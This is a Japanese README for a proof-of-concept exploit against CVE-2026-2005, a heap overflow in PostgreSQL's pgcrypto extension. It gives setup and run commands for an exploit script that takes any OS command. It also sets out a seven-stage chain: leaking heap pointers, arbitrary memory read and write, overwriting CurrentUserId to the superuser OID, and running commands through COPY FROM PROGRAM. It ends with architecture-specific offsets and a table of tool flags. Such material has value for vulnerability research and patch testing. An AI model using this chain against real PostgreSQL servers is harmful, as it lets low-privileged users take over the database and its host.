
PostgreSQL pgcrypto のヒープバッファオーバーフロー PoC(CVE-2026-2005): 細工された OpenPGP パケットを使った低権限 RCE およびスーパーユーザーへの権限昇格を実証します。
対象コミット: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — 脆弱性あり)
| フィールド | 詳細 |
|---|---|
| CVE | CVE-2026-2005 |
| タイプ | ヒープバッファオーバーフロー |
| コンポーネント | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| 影響 | PostgreSQL を実行している OS ユーザーとしての RCE |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 必要な認証 | 低 — CREATE 権限を持つ任意の認証済みユーザー |
| 影響を受けるバージョン | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 修正バージョン | 14.21, 15.16, 16.12, 17.8, 18.2 (2026年2月12日) |
| アーキテクチャ | aarch64 (ARM64) — ヒープオフセットと MBuf レイアウトはアーキテクチャ/glibc 固有 |
# PostgreSQL 18.1 (脆弱性あり) をビルドして起動
docker compose up -d --build
# 起動完了を待つ
docker compose logs -f postgres
# "database system is ready to accept connections" が表示されたら Ctrl+C
# 初回セットアップ: オフラインシンボル解析用に postgres バイナリをコピー
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# Node 依存関係をインストール
npm install
# 完全な RCE エクスプロイトチェーンを実行 (純粋な SQL — Docker 操作なし)
node exploit.js --cmd "id"
# 詳細出力付き
node exploit.js --cmd "id" --verbose
# カスタムコマンドを実行
node exploit.js --cmd "whoami"
Stage 1: ヒープポインタリーク
└─ mdst チャンクヘッダを破壊 → pfree() エラーメッセージを解析
Stage 2: 任意読み取り (マルチウィンドウスキャン)
└─ mdst->data を上書き → リークしたポインタ付近のメモリをスキャン
Stage 3: ポインタ候補の収集
└─ ヒープダンプからポインタ状の 8 バイト値をスキャン
Stage 4: PIE ベースの解決
└─ リークしたアドレスを ELF シンボルオフセットと照合 (ページオフセット
グループ化、オフライン — シンボルはローカルバイナリコピーから解析)
Stage 5: PIE の検証
└─ 候補ベースで CurrentUserId を任意読み取り → セッション OID と比較
Stage 6: 任意書き込み
└─ msrc + mdst MBuf を偽造 → CurrentUserId を上書き → 10 (スーパーユーザー)
Stage 7: コマンド実行
└─ COPY FROM PROGRAM → postgres ユーザーとして任意の OS コマンドを実行
CVE-2026-2005/
├── Dockerfile # ソースから PostgreSQL 18.1 をビルド
├── docker-compose.yml # 自動再起動付き PostgreSQL サービス
├── init.sh # エントリポイント — initdb + リスニング設定
├── README.md # このファイル
└── poc/
├── package.json # Node.js 依存関係 (pg)
├── exploit.js # 完全な 7 段階 RCE エクスプロイト (Node.js)
├── verify.sh # シェルベースのクイック検証
└── test-pgcrypto.sql # pgcrypto 読み込みの SQL のみのテスト
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (任意 — --gdb フラグ使用時のみ必要)バグは contrib/pgcrypto/pgp-pubdec.c の pgp_parse_pubenc_sesskey() にあります。
OpenPGP 公開鍵暗号化セッションキーパケット (タグ 1) を解析する際:
memcpy しますmemcpy はヒープバッファ境界を超えて書き込む可能性があり、隣接するヒープ
メタデータやデータを破壊し、任意のコード実行につながります。
pfree()
エラーメッセージを解析して mdst->data ヒープアドレスを抽出。/proc/<pid>/maps を読み取り、
実行時に postgres バイナリのロードアドレスを特定。msrc (ソース) と mdst (宛先) の
両方の MBuf 構造体を偽造。msrc はスーパーユーザー OID (10) を含む埋め込み
symenc パケットを指し、mdst は CurrentUserId - 4 を指します
(4 バイトの SET_VARSIZE ヘッダを考慮)。CurrentUserId = 10 (ブートストラップスーパーユーザー) で、
COPY FROM PROGRAM を実行して任意の OS コマンドを実行。pgcrypto 拡張機能は trusted です — CREATE 権限を持つ任意のユーザー
(スーパーユーザー以外) がインストールできるため、低権限で悪用可能です。--enable-debug が含まれています。SRC_CHUNK_OFFSET=100、DST_CHUNK_OFFSET=172) は
aarch64 + glibc に固有です — 他のアーキテクチャ/アロケータでは異なるオフセットが必要です。CurrentUserId を読み取ることで確認されます。| フラグ | デフォルト | 説明 |
|---|
--cmd | id | エクスプロイト成功後に実行する OS コマンド |
--key-size | 3072 | RSA キーサイズ (ビット) |
--host | 127.0.0.1 | PostgreSQL ホスト |
--port | 5432 | PostgreSQL ポート |
--user | postgres | データベースユーザー |
--password | (空) | データベースパスワード |
--dbname | postgres | データベース名 |
--binary | ./postgres | シンボル用の postgres ELF バイナリのパス |
--scan-offset | 自動 | リークしたポインタからのヒープスキャンオフセットを上書き |
--verbose | off | 詳細なデバッグ出力を有効化 |
--gdb | off | オーバーフローポイントで tmux 経由で GDB をアタッチ |